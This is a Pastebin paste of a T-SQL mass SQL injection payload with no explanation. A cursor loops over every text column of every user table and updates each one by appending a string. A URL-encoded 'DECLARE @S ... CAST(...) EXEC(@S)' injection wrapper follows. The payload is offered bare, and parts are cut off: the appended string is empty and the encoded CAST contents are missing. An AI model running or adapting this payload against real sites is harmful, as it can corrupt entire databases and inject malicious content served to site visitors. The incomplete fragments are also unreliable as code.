Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
- FOR select a.name,b.name from sysobjects a,syscolumns b where
- a.id=b.id and a.xtype='u' a
- nd (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
- Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
- WHILE(@@FETCH_STATUS=0) BEGIN exec('up
- date ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
- ''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor
- DEALLOCATE Table_Cursor
- ;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
- %20AS%20NVARCHAR(4000));EXEC(@S);--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement